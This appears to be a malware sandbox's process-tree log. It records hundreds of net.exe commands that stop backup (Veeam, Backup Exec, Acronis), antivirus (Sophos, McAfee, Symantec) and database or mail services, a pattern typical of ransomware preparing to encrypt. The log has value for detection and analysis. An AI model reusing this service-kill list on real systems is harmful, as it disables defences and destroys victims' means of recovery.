C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamHvIntegrationSvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamHvIntegrationSvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQLFDLauncher$TPSAMA /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$TPSAMA /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop masvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop masvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQLFDLauncher$SQL_2008 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$SQL_2008 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamBrokerSvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamBrokerSvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamDeploymentService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDeploymentService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQLServerADHelper100 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper100 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecManagementService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQLFDLauncher$SYSTEM_BGC /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$SYSTEM_BGC /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamNFSSvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop McAfeeFramework /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McAfeeFramework /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecRPCService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop veeam /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop veeam /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop PDVFSService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop PDVFSService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop macmnsvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop macmnsvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop AcrSch2Svc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamCloudSvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamCloudSvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamMountSvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamMountSvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQLServerOLAPService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerOLAPService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop McAfeeFrameworkMcAfeeFramework /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McAfeeFrameworkMcAfeeFramework /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecVSSProvider /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop AcronisAgent /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcronisAgent /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQLFDLauncher$TPS /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$TPS /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “Acronis VSS Provider” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “Acronis VSS Provider” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MsDtsServer /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MsDtsServer /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop sophos /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sophos /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop CAARCUpdateSvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CAARCUpdateSvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop CASAD2DWebSvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASAD2DWebSvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecAgentAccelerator /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamNFSSvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop IISAdmin /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop IISAdmin /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “Enterprise Client Service” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “Enterprise Client Service” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$BKUPEXEC /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$BKUPEXEC /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MySQL57 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MySQL57 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSExchangeES /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeES /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “SQL Backups /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “SQL Backups /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$SOPHOS /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SOPHOS /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop McShield /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McShield /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “Sophos Agent” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “Sophos Agent” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$CITRIX_METAFRAME /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$CITRIX_METAFRAME /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamRESTSvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamRESTSvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MySQL80 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MySQL80 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamTransportSvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop mfefire /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mfefire /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop OracleClientCache80 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop OracleClientCache80 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop McTaskManager /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McTaskManager /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MsDtsServer100 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MsDtsServer100 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop sacsvr /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sacsvr /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop EraserSvc11710 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EraserSvc11710 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop msftesql$PROD /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msftesql$PROD /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop NetMsmqActivator /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop NetMsmqActivator /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$CXDB /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$CXDB /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop wbengine /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wbengine /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SstpSvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SstpSvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSExchangeMTA /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMTA /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “Sophos Device Control Service” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “Sophos Device Control Service” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop ReportServer$SYSTEM_BGC /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer$SYSTEM_BGC /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “Symantec System Recovery” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “Symantec System Recovery” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSOLAP$SQL_2008 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP$SQL_2008 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop UI0Detect /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UI0Detect /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSExchangeSA /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeSA /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “Sophos File Scanner Service” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “Sophos File Scanner Service” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop ReportServer$TPS /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer$TPS /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “Veeam Backup Catalog Data Service” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “Veeam Backup Catalog Data Service” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSOLAP$SYSTEM_BGC /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP$SYSTEM_BGC /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop W3Svc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop W3Svc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSExchangeSRS /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeSRS /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “Sophos Health Service” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “Sophos Health Service” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop ReportServer$TPSAMA /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer$TPSAMA /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “Zoolz 2 Service” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “Zoolz 2 Service” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSExchangeIS /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIS /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop ReportServer$SQL_2008 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer$SQL_2008 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SAVAdminService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SAVAdminService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSOLAP$TPS /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP$TPS /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “Sophos AutoUpdate Service” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “Sophos AutoUpdate Service” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop mfemms /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mfemms /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$ECWDB2 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$ECWDB2 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SamSs /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SamSs /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SAVService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SAVService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop ReportServer /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “aphidmonitorservice” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “aphidmonitorservice” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop wbengine /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wbengine /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$PRACTTICEBGC /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$PRACTTICEBGC /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “SQLsafe Backup Service” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “SQLsafe Backup Service” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop msexchangeadtopology /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msexchangeadtopology /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “Sophos MCS Agent” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “Sophos MCS Agent” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop AcrSch2Svc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MsDtsServer110 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MsDtsServer110 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop POP3Svc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop POP3Svc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSExchangeMGMT /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMGMT /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “Sophos Clean Service” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “Sophos Clean Service” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSOLAP$TPSAMA /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP$TPSAMA /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop RESvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RESvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SepMasterService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SepMasterService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$PRACTTICEMGT /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$PRACTTICEMGT /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop ShMonitor /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ShMonitor /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$PROD /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$PROD /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SMTPSvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SMTPSvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop ReportServer$SQL_2008 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer$SQL_2008 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “SQLsafe Filter Service” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “SQLsafe Filter Service” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “intel(r) proset monitoring service” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “intel(r) proset monitoring service” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop mfevtp /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mfevtp /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop Smcinst /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Smcinst /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$PROFXENGAGEMENT /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$PROFXENGAGEMENT /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SmcService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SmcService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$SBSMONITORING /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SBSMONITORING /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SntpService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SntpService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$SHAREPOINT /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop sophossps /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sophossps /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop msexchangeimap4 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msexchangeimap4 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$ECWDB2 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$ECWDB2 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop sms_site_sql_backup /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sms_site_sql_backup /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$SQL_2008 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SQL_2008 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “Sophos MCS Client” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “Sophos MCS Client” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop audioendpointbuilder /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop audioendpointbuilder /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$SYSTEM_BGC /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SYSTEM_BGC /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$SOPHOS /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SOPHOS /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop ARSM /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ARSM /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “Sophos Safestore Service” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “Sophos Safestore Service” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$SQLEXPRESS /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SQLEXPRESS /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop swi_filter /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop swi_filter /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$BKUPEXEC /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$BKUPEXEC /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecAgentBrowser /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop svcGenericHost /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop svcGenericHost /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$TPS /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$TPS /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop unistoresvc_1af40a /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop unistoresvc_1af40a /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$PRACTICEMGT /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$PRACTICEMGT /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “Sophos System Protection Service” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “Sophos System Protection Service” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLTELEMETRY /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLTELEMETRY /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop swi_service /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop swi_service /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “Sophos Message Router” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “Sophos Message Router” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop TrueKeyServiceHelper /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TrueKeyServiceHelper /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecDeviceMediaService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecDeviceMediaService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$TPSAMA /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$TPSAMA /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecAgentAccelerator /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$PRACTTICEBGC /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$PRACTTICEBGC /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$SBSMONITORING /3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SBSMONITORING /4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLTELEMETRY$ECWDB2 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLTELEMETRY$ECWDB2 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop swi_update /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop swi_update /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$SBSMONITORING /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SBSMONITORING /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop WRSVC /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WRSVC /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop “Sophos Web Control Service” /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop “Sophos Web Control Service” /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$VEEAMSQL2008R2 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop AVP /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop mssql$vim_sqlexp /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mssql$vim_sqlexp /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecJobEngine /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop swi_update_64 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop swi_update_64 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecVSSProvider /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop vapiendpoint /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop vapiendpoint /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$PROD /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$PROD /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$VEEAMSQL2012 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2012 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop AcronisAgent /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcronisAgent /y4⤵
-
